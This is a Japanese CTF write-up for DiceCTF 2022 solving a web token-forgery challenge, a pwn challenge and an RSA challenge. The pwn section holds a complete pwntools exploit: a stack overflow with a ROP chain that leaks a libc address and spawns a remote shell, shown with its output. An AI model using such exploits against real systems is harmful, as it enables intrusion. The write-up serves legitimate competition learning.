DiceCTF 2022 Writeup

この大会は2022/2/5 6:00(JST)~2022/2/7 6:00(JST)に開催されました。
今回もチームで参戦。結果は460点で1127チーム中119位でした。
自分で解けた問題をWriteupとして書いておきます。

welcome (misc)

Discordに入り、#flagチャネルを見ると、defundがフラグをひたすらつぶやいている。

dice{sice}

knock-knock (web)

例えば、"a"をcreateしてみると、作成したページに以下のURLでアクセスできる。

https://knock-knock.mc.ax/note?id=2476&token=d66e76a2148e0f78937e553e58cb6292054cae0916f7b6f21d01631493f48dae

スクリプトをよく見ると、secretの設定にバグがある。

this.secret = `secret-${crypto.randomUUID}`;

randomUUIDは関数なので、この設定だと固定値になる。DBを設定して、最初にフラグを設定しているので、id = 0のときにフラグが設定されている。
以下のスクリプトによりidが0のときのtokenを計算する。

$ cat solve.js
const crypto = require('crypto');

var id = 0;
var secret = `secret-${crypto.randomUUID}`;
var hmac = crypto.createHmac('sha256', secret);
hmac.update(id.toString())
console.log(hmac.digest('hex'));

$ node solve.js
7bd881fe5b4dcc6cdafc3e86b4a70e07cfd12b821e09a81b976d451282f6e264

このtokenでアクセスする。

$ curl "https://knock-knock.mc.ax/note?id=0&token=7bd881fe5b4dcc6cdafc3e86b4a70e07cfd12b821e09a81b976d451282f6e264"
dice{1_d00r_y0u_d00r_w3_a11_d00r_f0r_1_d00r}
dice{1_d00r_y0u_d00r_w3_a11_d00r_f0r_1_d00r}

interview-opportunity (pwn)

$ file interview-opportunity 
interview-opportunity: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=fdee9690f9ec56b0863f7cfe1d55b8f5a3073c40, for GNU/Linux 3.2.0, not stripped

$ checksec.sh --file interview-opportunity 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   interview-opportunity

Ghidraでデコンパイルする。

undefined8 main(undefined4 param_1,undefined8 param_2)

{
  char local_22 [10];
  undefined8 local_18;
  undefined4 local_c;
  
  local_18 = param_2;
  local_c = param_1;
  env_setup();
  printf(
        "Thank you for you interest in applying to DiceGang. We need great pwners like you to continue our traditions and competition against perfect blue.\n"
        );
  printf("So tell us. Why should you join DiceGang?\n");
  read(0,local_22,0x46);
  puts("Hello: ");
  puts(local_22);
  return 0;
}
$ gdb -q ./interview-opportunity
Reading symbols from ./interview-opportunity...(no debugging symbols found)...done.
gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/interview-opportunity 
Thank you for you interest in applying to DiceGang. We need great pwners like you to continue our traditions and competition against perfect blue.
So tell us. Why should you join DiceGang?
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL 
Hello: 
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff7af2224 (<__GI___libc_write+20>:	cmp    rax,0xfffffffffffff000)
RDX: 0x7ffff7dcf8c0 --> 0x0 
RSI: 0x7ffff7dce7e3 --> 0xdcf8c0000000000a 
RDI: 0x1 
RBP: 0x2941413b41414441 ('ADAA;AA)')
RSP: 0x7fffffffdd68 ("AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3")
RIP: 0x4012a5 (<main+101>:	ret)
R8 : 0x46 ('F')
R9 : 0x7ffff7fda4c0 (0x00007ffff7fda4c0)
R10: 0x3 
R11: 0x246 
R12: 0x4010a0 (<_start>:	endbr64)
R13: 0x7fffffffde40 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40129e <main+94>:	xor    eax,eax
   0x4012a0 <main+96>:	add    rsp,0x20
   0x4012a4 <main+100>:	pop    rbp
=> 0x4012a5 <main+101>:	ret    
   0x4012a6:	nop    WORD PTR cs:[rax+rax*1+0x0]
   0x4012b0 <__libc_csu_init>:	endbr64 
   0x4012b4 <__libc_csu_init+4>:	push   r15
   0x4012b6 <__libc_csu_init+6>:	
    lea    r15,[rip+0x2b53]        # 0x403e10
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdd68 ("AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3")
0008| 0x7fffffffdd70 ("0AAFAAbAA1AAGAAcAA2AAHAAdAA3")
0016| 0x7fffffffdd78 ("A1AAGAAcAA2AAHAAdAA3")
0024| 0x7fffffffdd80 ("AA2AAHAAdAA3")
0032| 0x7fffffffdd88 --> 0x33414164 ('dAA3')
0040| 0x7fffffffdd90 --> 0x0 
0048| 0x7fffffffdd98 --> 0x728d7a5f7ac26a34 
0056| 0x7fffffffdda0 --> 0x4010a0 (<_start>:	endbr64)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004012a5 in main ()
gdb-peda$ patto AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3
AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3 found at offset: 34
$ ROPgadget --binary ./interview-opportunity | grep "pop rdi"
0x0000000000401313 : pop rdi ; ret

BOF脆弱性がある。GOT領域のアドレスをリークし、libcのbaseアドレスを算出してからmainに飛ばし、2周目でsystem("/bin/sh")を実行する。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('mc.ax', 31081)
else:
    p = process('./interview-opportunity')

elf = ELF('./interview-opportunity')
libc = ELF('./libc.so.6')

pop_rdi_addr = 0x401313
puts_got_addr = elf.got['puts']
puts_plt_addr = elf.plt['puts']
main_addr = elf.symbols['main']

payload = b'A' * 34
payload += p64(pop_rdi_addr)
payload += p64(puts_got_addr)
payload += p64(puts_plt_addr)
payload += p64(main_addr)

data = p.recvline().rstrip().decode()
print(data)
data = p.recvline().rstrip().decode()
print(data)
print(payload)
p.sendline(payload)
data = p.recvline().rstrip().decode()
print(data)
data = p.recvline().rstrip().decode()
print(data)
data = p.recv(7).rstrip()
print(data)

leaked_puts_got = u64(data + b'\x00\x00')
log.info('leaked puts got address: ' + hex(leaked_puts_got))
libc_base = leaked_puts_got - libc.symbols['puts']
log.info('libc base address: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
log.info('system address: ' + hex(system_addr))
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
log.info('/bin/sh address: ' + hex(binsh_addr))

payload = b'A' * 34
payload += p64(pop_rdi_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)

data = p.recvline().rstrip().decode()
print(data)
data = p.recvline().rstrip().decode()
print(data)
print(payload)
p.sendline(payload)
data = p.recvline().rstrip().decode()
print(data)
data = p.recvline().rstrip().decode()
print(data)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to mc.ax on port 31081: Done
[*] '/ctf/pwn/interview-opportunity'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/ctf/pwn/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
Thank you for you interest in applying to DiceGang. We need great pwners like you to continue our traditions and competition against perfect blue.
So tell us. Why should you join DiceGang?
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x13\x13@\x00\x00\x00\x00\x00\x18@@\x00\x00\x00\x00\x000\x10@\x00\x00\x00\x00\x00@\x12@\x00\x00\x00\x00\x00'
Hello:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x13@
b'\xf0\xc5\xa2*\xc6\x7f'
[*] leaked puts got address: 0x7fc62aa2c5f0
[*] libc base address: 0x7fc62a9b6000
[*] system address: 0x7fc62a9fee50
[*] /bin/sh address: 0x7fc62ab40152
Thank you for you interest in applying to DiceGang. We need great pwners like you to continue our traditions and competition against perfect blue.
So tell us. Why should you join DiceGang?
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x13\x13@\x00\x00\x00\x00\x00R\x01\xb4*\xc6\x7f\x00\x00P\xee\x9f*\xc6\x7f\x00\x00'
Hello:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x13@
[*] Switching to interactive mode
$ ls
flag.txt
run
$ cat flag.txt
dice{0ur_f16h7_70_b347_p3rf3c7_blu3_5h4ll_c0n71nu3}
dice{0ur_f16h7_70_b347_p3rf3c7_blu3_5h4ll_c0n71nu3}

baby-rsa (crypto)

Nを素因数分解する。

p = 172036442175296373253148927105725488217
q = 337117592532677714973555912658569668821

p-1, q-1がe**2で割り切れるので、通常の方法では復号できない。剰余環p, qそれぞれでe乗根を計算し、ブルートフォースでCRTを使って復号し、フラグの形式になるものを探す。

#!/usr/bin/env sage
from Crypto.Util.number import *

N = 57996511214023134147551927572747727074259762800050285360155793732008227782157
e = 17
cipher = 19441066986971115501070184268860318480501957407683654861466353590162062492971

p = 172036442175296373253148927105725488217
q = 337117592532677714973555912658569668821

mod_ps = Mod(cipher % p, p).nth_root(e, all=True)
mod_qs = Mod(cipher % q, q).nth_root(e, all=True)

found = False
for mod_p in mod_ps:
    for mod_q in mod_qs:
        m = crt(int(mod_p), int(mod_q), p, q)
        flag = long_to_bytes(m)
        if b"dice" in flag:
            found = True
            print(flag.decode())
            break
    if found:
        break
dice{cado-and-sage-say-hello}